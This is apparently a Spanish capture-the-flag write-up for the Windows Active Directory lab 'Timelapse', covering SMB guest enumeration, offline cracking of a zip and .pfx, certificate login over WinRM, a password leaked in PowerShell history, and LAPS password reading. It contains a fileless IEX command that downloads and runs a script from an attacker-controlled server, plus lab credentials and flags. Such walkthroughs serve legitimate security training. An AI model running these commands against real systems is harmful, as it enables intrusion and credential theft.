Timelapse
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Timelapse es una máquina Windows fácil construida sobre un Active Directory. Una sesiónguesten SMB deja ver un recurso compartido con unwinrm_backup.zip. El zip está protegido, pero su contraseña es débil y la crackeamos confcrackzip; dentro hay un.pfx(clave privada + certificado) también protegido, que crackeamos conpfx2john. Con la clave y el certificado nos autenticamos por WinRM sobre SSL comolegacyyy cogemos la primera flag. En el historial de PowerShell del usuario aparece la contraseña en claro desvc_deploy, que pertenece al grupo LAPS Readers; abusando de ese permiso leemos la contraseña de Administrator que LAPS guarda en AD y entramos como administrador para leerroot.txt.
Reconocimiento
Escaneo inicial
Empezamos con un ping. Además de confirmar que la máquina responde, el campo TTL (Time To Live) del paquete de vuelta da una pista del sistema operativo: cada SO inicia el TTL con un valor por defecto y cada router lo decrementa un punto por salto. Un valor cercano a 64 suele indicar Linux y uno cercano a 128, Windows. Aquí vuelve con ttl=127, un salto por debajo de 128, así que apunta a Windows (es un indicio, no una prueba).
ping -c 1 10.10.11.152
PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=110 msAntes del barrido TCP lanzamos un escaneo UDP a los puertos más comunes. Devuelve tres puertos muy reveladores: 53 (DNS), 88 (Kerberos) y 123 (NTP). Kerberos es el protocolo de autenticación de Active Directory, así que esta terna es la firma típica de un controlador de dominio.
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.152
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntpAhora el TCP. Un escaneo completo (los 65535 puertos) seguido de uno con detección de versión y scripts por defecto (-sCV) sobre los puertos abiertos nos confirma el escenario.
El escaneo se lanza con jmap, una función del .zshrc que pide la IP por teclado y ejecuta ese nmap -p- --min-rate 5000 -sS -n -Pn --open guardando la salida en formato grepeable:
jmap
# 10.10.11.152
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5986/tcp open wsmans syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49695/tcp open unknown syn-ack ttl 127Diecisiete puertos no se copian a mano: extractPorts resume el fichero y los deja en el portapapeles.
extractPorts scan
Extracting information ...
IP Address: 10.10.11.152
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695
Ports copied to clipboardnmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389 -sCV 10.10.11.152
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: ...)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0.)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-cert: Subject: commonName=dc01.timelapse.htb
9389/tcp open mc-nmf .NET Message FramingEl escaneo confirma el dominio timelapse.htb (lo añadimos a /etc/hosts apuntando a la IP) y el host DC01. Lo más jugoso es el 5986: es WinRM sobre SSL/TLS. WinRM es el servicio de administración remota de Windows; lo habitual es entrar con usuario y contraseña o con un hash, pero la variante sobre SSL admite además autenticación por certificado de cliente (presentar una clave privada y un certificado en lugar de una contraseña). Anotamos ese detalle: cobrará sentido más adelante. Empezamos enumerando SMB.
SMB con sesión guest - TCP 445
Probamos SMB primero con una sesión nula (usuario y contraseña vacíos) y luego con el usuario guest. La sesión nula no devuelve nada, pero guest (una cuenta invitada que a veces queda habilitada) sí lista los recursos compartidos, y entre los habituales aparece uno no estándar llamado Shares.
netexec smb 10.10.11.152 -u '' -p '' --shares
netexec smb 10.10.11.152 -u 'guest' -p '' --shares
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\guest:
SMB 10.10.11.152 445 DC01 Share Permissions Remark
SMB 10.10.11.152 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.152 445 DC01 C$ Default share
SMB 10.10.11.152 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.152 445 DC01 NETLOGON Logon server share
SMB 10.10.11.152 445 DC01 Shares READ Logon server share
SMB 10.10.11.152 445 DC01 SYSVOL Logon server shareNos conectamos a Shares con smbclient. Contiene dos carpetas: Dev y HelpDesk. En Dev hay un fichero winrm_backup.zip que descargamos a nuestra máquina.
smbclient //10.10.11.152/Shares -U guest
# password: (vacía)
cd Dev
get winrm_backup.zip
smb: \> dir
Dev D 0 Mon Oct 25 21:40:06 2021
HelpDesk D 0 Mon Oct 25 17:48:42 2021
smb: \Dev\> dir
winrm_backup.zip A 2611 Mon Oct 25 17:46:42 2021
smb: \Dev\> get winrm_backup.zipLa carpeta HelpDesk contiene cuatro ficheros relacionados con LAPS (LAPS.x64.msi, LAPS_Datasheet.docx, LAPS_OperationsGuide.docx, LAPS_TechnicalSpecification.docx). LAPS (Local Administrator Password Solution) es la herramienta de Microsoft que gestiona y rota la contraseña del administrador local de cada equipo, guardándola cifrada en Active Directory. Que estos ficheros estén aquí es una señal fuerte de que la máquina usa LAPS, dato que guardamos para la escalada.
cd ../HelpDesk
mget *
smb: \HelpDesk\> dir
LAPS.x64.msi A 1118208 Mon Oct 25 16:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 16:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 16:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 16:57:44 2021Los cuatro ficheros son el instalador y la documentación de LAPS, señal de que la máquina lo usa.
Shell como legacyy
Crackear winrm_backup.zip
Al intentar descomprimir el zip pide contraseña, y los intentos manuales fallan (incorrect password):
ls -l
unzip winrm_backup.zip
$ ls -l
total 1900
-rw-r--r-- 1 root root 1118208 Nov 9 17:37 LAPS.x64.msi
-rw-r--r-- 1 root root 104422 Nov 9 17:37 LAPS_Datasheet.docx
-rw-r--r-- 1 root root 641378 Nov 9 17:37 LAPS_OperationsGuide.docx
-rw-r--r-- 1 root root 72683 Nov 9 17:37 LAPS_TechnicalSpecification.docx
-rw-r--r-- 1 root root 2611 Nov 9 17:35 winrm_backup.zip
$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
password incorrect--reenter:
password incorrect--reenter:
skipping: legacyy_dev_auth.pfx incorrect passwordComo la contraseña podría ser débil, la atacamos offline con fcrackzip y el diccionario rockyou.txt. El ataque es local: no genera ruido ni bloqueos en ningún servicio.
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
found file 'legacyy_dev_auth.pfx', (size cp/uc 2405/ 2555, flags 9, chk 72aa)
PASSWORD FOUND!!!!: pw == supremelegacyLa contraseña es supremelegacy. Descomprimimos y obtenemos un único fichero: legacyy_dev_auth.pfx.
unzip winrm_backup.zip
# password: supremelegacy
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfxCrackear el .pfx y extraer clave y certificado
Un .pfx es un contenedor PKCS#12 que empaqueta una clave privada y su certificado, normalmente protegido por contraseña. El nombre del fichero (legacyy_dev_auth.pfx) sugiere que es material de autenticación del usuario legacyy, justo lo que necesita el WinRM por certificado del 5986. La contraseña del zip no sirve para abrir el .pfx (cada capa puede tener la suya), así que lo crackeamos por separado: pfx2john convierte el .pfx en un hash atacable.
pfx2john legacyy_dev_auth.pfx > hash
legacyy_dev_auth.pfx:$pfxng$1$20$2000$20$eb755568327396de179c4a5d668ba8fe550ae18a$3082099c<SNIP>3465a6ce0c974055e6dcc74f0e893:::::legacyy_dev_auth.pfxpfx2john convierte el contenedor PKCS#12 en un hash $pfxng$ atacable offline.
Ese hash lo rompemos con john y el mismo diccionario.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:40 DONE ...La contraseña del .pfx es thuglegacy. Con ella, openssl extrae primero la clave privada (-nocerts, -nodes para que no la vuelva a cifrar) y después el certificado (-nokeys).
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:
$ ls
... hash legacyy_dev_auth.pfx priv-key.pem winrm_backup.zipIntroducimos thuglegacy como Import Password y se genera priv-key.pem.
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
Enter Import Password:
$ ls
... certificate.pem hash legacyy_dev_auth.pfx priv-key.pem winrm_backup.zipDel mismo modo se obtiene certificate.pem.
Ya tenemos los dos ficheros que necesita el WinRM sobre SSL: priv-key.pem y certificate.pem.
Acceso por WinRM SSL y user.txt
Presentamos la clave y el certificado a WinRM con evil-winrm, indicando -S (SSL), -c para el certificado y -k para la clave. Si el certificado está mapeado a una cuenta válida del dominio, entramos sin conocer ninguna contraseña.
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyyTenemos una sesión interactiva de PowerShell como legacyy. La primera flag está en su escritorio.
type ..\Desktop\user.txt
4c00332659699540708175a60f669ec7Shell como svc_deploy
Enumeración: el grupo LAPS Readers
Enumeramos las cuentas locales con net user y revisamos la que más nos interesa. La cuenta svc_deploy pertenece al grupo LAPS Readers: es decir, tiene permiso para leer las contraseñas que LAPS guarda en Active Directory. Los ficheros de LAPS que vimos por SMB cobran ahora todo el sentido. Si conseguimos esta cuenta, podremos leer la contraseña del Administrator.
net user
net user svc_deploy
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS Readers *Domain UsersHistorial de PowerShell: contraseña de svc_deploy
Uno de los primeros sitios que conviene mirar tras conseguir una shell en Windows es el historial de PowerShell, que PSReadLine guarda en disco y es legible por el propio usuario. Aquí está el premio: legacyy había ejecutado comandos que construyen una credencial de svc_deploy con la contraseña en texto plano.
type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...La contraseña de svc_deploy es E3R$Q62^12p7PLlC%KWaxuaV.
Pivote a svc_deploy
Reutilizamos esas credenciales con evil-winrm (de nuevo -S, porque WinRM va sobre SSL) para abrir una sesión como svc_deploy (reutilización de credenciales: una credencial recuperada se prueba en cada servicio, porque reutilizarlas es lo habitual).
evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deployShell como Administrator
Leer la contraseña de LAPS
Como svc_deploy está en LAPS Readers, podemos leer la contraseña del administrador local que LAPS almacena en el atributo ms-Mcs-AdmPwd del objeto de equipo. Para automatizarlo, descargamos en memoria el script Get-LAPSPasswords.ps1 desde nuestro servidor HTTP (sin tocar el disco) y lo ejecutamos.
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/Get-LAPSPasswords.ps1')
# servidor HTTP del atacante
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.152 - - [10/Nov/2025 14:52:06] "GET /Get-LAPSPasswords.ps1 HTTP/1.1" 200 -El log del servidor confirma que la víctima (10.10.11.152) descarga el script en memoria.
Get-LAPSPasswords
Hostname : dc01.timelapse.htb
Stored : 1
Readable : 1
Password : G3Tb0+Vv!e;;iy2a}K237gJH
Expiration : 11/15/2025 11:46:37 AMEl script vuelca la contraseña del administrador local de DC01: G3Tb0+Vv!e;;iy2a}K237gJH.
Acceso como Administrator y root.txt
Nos autenticamos por WinRM SSL como Administrator con esa contraseña.
evil-winrm -i 10.10.11.152 -u 'Administrator' -p 'G3Tb0+Vv!e;;iy2a}K237gJH' -S
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administratorLa flag final no está en la ruta habitual (el escritorio del Administrator devuelve path does not exist):
type ..\Desktop\root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
Cannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.
At line:1 char:1
+ type ..\Desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\Users\Administrator\Desktop\root.txt:S
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommaAsí que la buscamos de forma recursiva. Aparece en el escritorio de otro usuario (TRX).
Get-ChildItem -Recurse -Filter root.txt -ErrorAction SilentlyContinue
type C:\Users\TRX\Desktop\root.txt
ad7ae96866727d4e4d1261120f1df1c6Máquina rooteada.
Cadena de ataque
Todo el recorrido, de la sesión guest a la shell como Administrator, en un vistazo:
SMB sesión guest (445) ─► share Shares: Dev/winrm_backup.zip + HelpDesk/ (LAPS)
│
▼
fcrackzip (rockyou) ─► zip: supremelegacy ─► legacyy_dev_auth.pfx
│
▼
pfx2john + john ─► pfx: thuglegacy ─► openssl: priv-key.pem + certificate.pem
│
▼
WinRM SSL por certificado (5986) ─► legacyy ─► user.txt
│ historial de PowerShell
▼
svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV (grupo LAPS Readers)
│ Get-LAPSPasswords
▼
LAPS: contraseña local de Administrator ─► WinRM SSL ─► Administrator ─► root.txtLecciones aprendidas
- Una cuenta
guesthabilitada es una puerta abierta. Sin credenciales reales, la sesión invitada de SMB bastó para listar un recurso compartido y descargar un backup con material de autenticación. Deshabilitarguesty revisar los permisos de cada share habría cortado el ataque en su origen. - Una contraseña débil no protege un fichero. El zip y el
.pfxestaban "protegidos", pero ambas contraseñas estaban enrockyou.txt. El ataque offline no genera ruido ni bloqueos: una clave privada custodiada tras una contraseña débil es, en la práctica, una clave pública. - Un certificado y su clave privada son una credencial. El acceso por certificado dio una shell de
legacyysin conocer jamás su contraseña. Hay que custodiar las claves con el mismo cuidado que las contraseñas y no dejarlas en recursos compartidos. - No escribas secretos en la consola. La contraseña de
svc_deployapareció en claro en el historial de PowerShell. UsarGet-Credentialinteractivo o un gestor de secretos, y limpiar el historial en cuentas sensibles, habría evitado el pivote. - LAPS protege, pero solo si su lectura está bien restringida. LAPS hace bien su trabajo (contraseñas únicas y rotadas), pero una cuenta de servicio de bajo privilegio en el grupo
LAPS Readersconvierte ese permiso de lectura en un camino directo a Administrator. El privilegio de leer LAPS debe concederse al mínimo de cuentas posible y auditarse.